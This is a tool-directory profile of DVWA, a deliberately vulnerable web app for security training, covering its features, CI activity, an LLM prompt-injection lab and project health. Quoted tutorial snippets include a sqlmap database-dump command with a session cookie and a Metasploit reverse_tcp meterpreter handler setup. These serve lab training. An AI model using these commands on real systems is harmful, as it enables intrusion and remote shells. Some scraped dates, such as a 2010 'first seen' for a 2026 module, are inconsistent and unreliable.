PAGES
← all tools
◆ Web Application Security

dvwa

v1.9 open-source

Intentionally vulnerable PHP/MariaDB web application for practicing common web vulnerabilities in a legal, controlled environment.

Summary

dvwa is an open-source PHP/MariaDB web application, free under the GPLv3, deliberately built full of vulnerabilities so people have something safe to attack. You self-host it, typically in a virtual machine kept off the open internet, since the project's own documentation warns it will be compromised if placed on a live or internet-facing server. It's aimed at security professionals sharpening their skills, web developers learning how vulnerabilities actually arise, and students and instructors running a classroom exercise, rather than anyone testing production code. It sits in the vulnerable-app training category alongside other deliberately broken labs used to teach web application security hands-on. First committed in 2013 and still active, with 82 contributors and 39 commits in the past year, though its last release was over eighteen months ago.

Intentionally vulnerable PHP/MariaDB web application for practicing common web vulnerabilities in a legal, controlled environment.

How dvwa helps

Which common web vulnerabilities can I actually practice exploiting before I meet them in the wild?

ships a set of modules covering vulnerability classes like SQL injection, command injection, CSRF and file inclusion, each with a working exploit path to walk through

Why did that exploit work on one level but fail on another?

the source for every level is viewable inside the app, so you can compare the vulnerable code against the fixed code line by line to see exactly what changed

Are there flaws here beyond the ones the exercise sheet tells me to find?

the project deliberately includes undocumented vulnerabilities alongside the documented ones, so hunting for the unlisted ones is part of the exercise itself

all 5 features, with the evidence for each →

Languages

Arabic, Chinese (Simplified), French, Indonesian, Italian, Korean, Persian, Polish, Portuguese, Russian, Spanish, Turkish, Ukrainian, Vietnamese Documentation: Arabic, Chinese (Simplified), French, Indonesian, Italian, Korean, Persian, Polish, Portuguese, Russian, Spanish, Turkish, Ukrainian, Vietnamese

Features

5 capabilities

Built from dvwa's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date. Group names and tags are our labels.

Compare with peers →

What dvwa offers you

  • CI/CD pipeline integration1
All capabilities 5 capabilities
Automated installation scripts documented Provides automated installation scripts for various operating systems to configure dependencies, web servers, and databases. 20 other sources

docs 20 total

  • Datepicker Commits on Aug 19, 2026 Merge pull request #768 from IamCarron/update-automated-installation-docs Show description for 5d5c76c 5d5c76c docs: synchronize and update automated installation across all 15 language READMEs IamCarron 0c3dcfc seen Sep 2026 · source
  • 777 lines (486 loc) · 49.5 KB 777 lines (486 loc) · 49.5 KB و در DVWA-Script نگهداری میشود نوشته شده است. کار زیادی برای ایجاد این اسکریپت انجام شده است و وقتی ایجاد شد، هیچ کار مخربی انجام نداد، با این حال توصیه میشود محظ احتیاط قبل از اجرای کورکورانه اسکریپت روی سیستم خود، آن را بررسی کنید. seen Aug 2026 · source
  • 447 lines (275 loc) · 26.4 KB 447 lines (275 loc) · 26.4 KB التثبيت التلقائي 🛠 ملاحظة: هذا ليس برنامجًا نصيًا رسميًا لـ DVWA، بل تمت كتابته بواسطة @IamCarron وتتم صيانته في DVWA-Script . تم بذل الكثير من الجهد في إنشائه ومراجعته، ومع ذلك يوصى بمراجعة النص البرمجي قبل تشغيله على نظامك. seen Aug 2026 · source
  • 471 lines (293 loc) · 23 KB 471 lines (293 loc) · 23 KB Instalación Automatizada 🛠 Nota, este no es un script oficial de DVWA, fue escrito por @IamCarron y se mantiene en DVWA-Script . Se ha dedicado mucho trabajo a crearlo y revisarlo, pero se recomienda revisar el script antes de ejecutarlo en su sistema. seen Aug 2026 · source
  • 775 lines (487 loc) · 53.5 KB 775 lines (487 loc) · 53.5 KB и поддерживается в DVWA-Script и поддерживается в DVWA-Script seen Aug 2026 · source
  • 479 lines (299 loc) · 22.5 KB 479 lines (299 loc) · 22.5 KB Instalação Automatizada 🛠 Nota: este não é um script oficial do DVWA, foi escrito por @IamCarron e é mantido em DVWA-Script . Muito trabalho foi dedicado à sua criação e verificação, mas recomenda-se inspecionar o script antes de executá-lo no seu sistema. seen Aug 2026 · source
CI/CD workflow integration documented Automates build and test processes using CI/CD workflows. 13 other sources

Also counts toward: CI/CD pipeline integration

docs 13 total

  • 243 workflow runs 243 workflow runs Improve login error message and reject empty credentials #851: #774 BibaPutt BibaPutt:fix/improved-login-validation BibaPutt:fix/improved-login-validation View #774 Improve login error message and reject empty credentials #479: #774 BibaPutt -1s… seen Oct 2026 · source
  • 245 workflow runs 245 workflow runs Improve login error message and reject empty credentials #852: #774 BibaPutt BibaPutt:fix/improved-login-validation BibaPutt:fix/improved-login-validation View #774 Improve login error message and reject empty credentials #480: #774 BibaPutt BibaPutt:fix/improved-login-validation… seen Oct 2026 · source
  • 253 workflow runs 253 workflow runs Merge pull request #774 from BibaPutt/fix/improved-login-validation #129: 068d974 14m 22s 14m 22s Merge pull request #774 from BibaPutt/fix/improved-login-validation #854: 068d974 41s 41s Merge pull request #774 from BibaPutt/fix/improved-login-validation #482: 068d974 4m 0s 4m 0s… seen Oct 2026 · source
  • 239 workflow runs 239 workflow runs remove broken link #127: 088256f In progress In progress remove broken link #849: 088256f 1m 4s 1m 4s remove broken link #51: 088256f 9s 9s remove broken link #477: 088256f 4m 11s 4m 11s Merge branch NotAFlightRisk-fix/mysql-setup-add-column #50: f43b643 9s 9s Merge branch… seen Oct 2026 · source
  • 239 workflow runs 239 workflow runs remove broken link #127: 088256f 14m 9s 14m 9s remove broken link #849: 088256f 1m 4s 1m 4s remove broken link #51: 088256f 9s 9s remove broken link #477: 088256f 4m 11s 4m 11s Merge branch NotAFlightRisk-fix/mysql-setup-add-column #50: f43b643 9s 9s Merge branch… seen Oct 2026 · source
  • 231 workflow runs 231 workflow runs Fix Create / Reset Database failing on MySQL #475: #773 NotAFlightRisk NotAFlightRisk:fix/mysql-setup-add-column NotAFlightRisk:fix/mysql-setup-add-column View #773 Fix Create / Reset Database failing on MySQL #847: #773 NotAFlightRisk NotAFlightRisk:fix/mysql-setup-add-column… seen Oct 2026 · source
LLM prompt injection lab shipped Includes a module for practicing Large Language Model (LLM) prompt injection vulnerabilities corresponding to OWASP LLM01 and LLM06. 7 releases · 5 other sources · first seen Sep 2010

release 7 total

docs

  • #841: 30d 0h 1m 25s 30d 0h 1m 25s 30d 0h 1m 26s 30d 0h 1m 26s 30d 0h 0m 59s 30d 0h 0m 59s 30d 0h 0m 59s 30d 0h 0m 59s 30d 0h 5m 14s 30d 0h 5m 14s 30d 0h 5m 14s 30d 0h 5m 14s 30d 0h 4m 46s 30d 0h 4m 46s seen Sep 2026 · source
  • 292 Closed 292 Closed Add AI Assistant (IA) module: LLM prompt injection lab (OWASP LLM01/LLM06) #769 Aug 24, 2026 ulises2k 13 no:milestone will show everything without a milestone. seen Sep 2026 · source
  • 292 Closed 292 Closed Add AI Assistant (IA) module: LLM prompt injection lab (OWASP LLM01/LLM06) #769 Aug 24, 2026 ulises2k 13 Type g i on any issue or pull request to go back to the issue listing page. seen Sep 2026 · source
  • 215 workflow runs 215 workflow runs #836: 1m 8s 1m 8s Add AI Assistant (IA) module: LLM prompt injection lab (OWASP LLM01/LLM06) #835: #769 synchronize ulises2k ulises2k:feature/ia-assistant ulises2k:feature/ia-assistant View #769 Add AI Assistant (IA) module: LLM prompt injection lab (OWASP LLM01/LLM06) #469:… seen Sep 2026 · source
  • 292 Closed 292 Closed Add AI Assistant (IA) module: LLM prompt injection lab (OWASP LLM01/LLM06) #769 Aug 24, 2026 ulises2k 13 seen Sep 2026 · source
Docker support shipped Provides a pre-built Docker image for running the application in a containerized environment. 1 release · 1 other source · first seen May 2013

release

  • security_level setting moved from code to the config file for easier customization 1.8 · May 2013 · source · release history

docs

  • FROM docker.io/library/php:8-apache LABEL org.opencontainers.image.source=https://github.com/digininja/DVWA LABEL org.opencontainers.image.description= "DVWA pre-built image." LABEL org.opencontainers.image.licenses= gpl-3.0 WORKDIR /var/www/html # https://www.php.net/manual/en/image.installation.php RUN apt-get… seen Sep 2026 · source
Setup system verification shipped Performs environment and configuration checks during the setup process to ensure prerequisites are met. 1 release · first seen Oct 2015

release

Lines in monospace are the tool's own words: help text parsed from its source, or an endpoint from its API document. Under release, a line is our summary of a dated release. Under docs, it is quoted from the tool's own documentation or website. Each links back to the source it came from.

Score card

  1. Shipping velocity releases a month, last 12 months
  2. Documentation quality release-notes rubric, 0–100
  3. Breaking-change discipline how rarely a release breaks users, and notice given
  4. Maintenance risk quiet time against its own cadence, maintainers
  5. Innovation & surface new capabilities, API and MCP surface
  6. Community health
  7. Contributor trend distinct committers, this year against last
  8. Maintainer concentration bus factor now against a year ago
  9. Issue backlog trend issues closed per issue opened, 12 months
  10. Responsiveness median time to a maintainer’s first reply

Nine scores for dvwa, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.

Score cards are part of every paid plan.

See plans →

Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.

How this is scored
  • Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
  • Documentation quality — the release-notes rubric published on the analytics page, unchanged.
  • Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
  • Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
  • Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
  • Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
  • Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
  • Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.

Release-note detail over time

See how much detail dvwa puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.

Checking release-note history…

Explore the full chart →

Releases

3 entries

  1. October 20151
  2. May 20131
  3. September 20101

    3 entries

    Project health

    Issue, contributor and maintainer activity in digininja/DVWA, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.

    1. Contributors 10 ±0 vs prior 12 months
    2. Maintainers 3 +3 joined · −2 left, last 12 months
    3. Bus factor 1 committers behind half the commits
    4. Community-filed 96% of issues opened, last 12 months
    5. Median time to close < 1 day first maintainer reply 0.3 hours
    6. Open backlog 3 of 469 issues ever filed
    1. Issues opened / month 1 · 0 communitymaintainers
    2. Open backlog 3
    3. Contributors / month 1
    4. Commits / month 1
    5. Stars 13,675
    Issue themes, last 12 months
    • other 100%

    Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this

    Articles

    3 articles · updated Nov 4, 2026

    Where dvwa turns up in what others publish: how-tos, attack reports that name it, and incident write-ups. A row says why it is here and quotes where the article names it; the link goes to the publisher.

    Tutorials & guides 3

    • Command Injection Exploitation through Sqlmap in DVWA (OS-cmd) Hacking Articles
      Requirement Xampp/Wamp Server DVWA Lab Kali Linux: Burp suite, sqlmap tool Very first you need to install DVWA lab in your XAMPP or WAMP server, read the full article from here Logging into DVWA and Setting Security…
      2 more quotes
      Come back and click on submit button in dvwa.
      sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2" --dbs Notice the image given below it has dumped all names…
    • Hack File upload Vulnerability in DVWA (Bypass All Security) Hacking Articles
      In DVWA the webpage allows user to upload an image, and the webpage go through with program coding and checks if the last characters of the file is ‘.jpg’ or ‘.jpeg’ or ’.png’ before allowing the image get uploaded in…
      2 more quotes
      Come back to your DVWA lab and click to file upload option from vulnerability menu.
      192.168.1.102:81/DVWA/hackable/uploads/hack.php msf > use multi/handler msf exploit(handler) > set payload php/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.104 msf exploit(handler) > set lport 3333…
    • Command Injection Exploitation in DVWA using Metasploit (Bypass All Security) Hacking Articles
      Bypass Medium Level Security Click on DVWA Security and set Website Security Level Medium Use pipe “|” in command injection to bypass medium security of this server.
      2 more quotes
      Finally we have completed all three level low, medium, high in DVWA.
      …https://www.owasp.org/index.php/Command_Injection First install the DVWA in your PC full article read here Now open the DVWA in your pc and login with following credentials: Username – admin Password – password…

    Add the badge to your README

    Maintain this project? The badge links readers straight to this page, so they can follow every release here.

    Tracked by Cyber Toolchain Choose a badge style and copy the code →
    browse all tools → score card for your toolchain →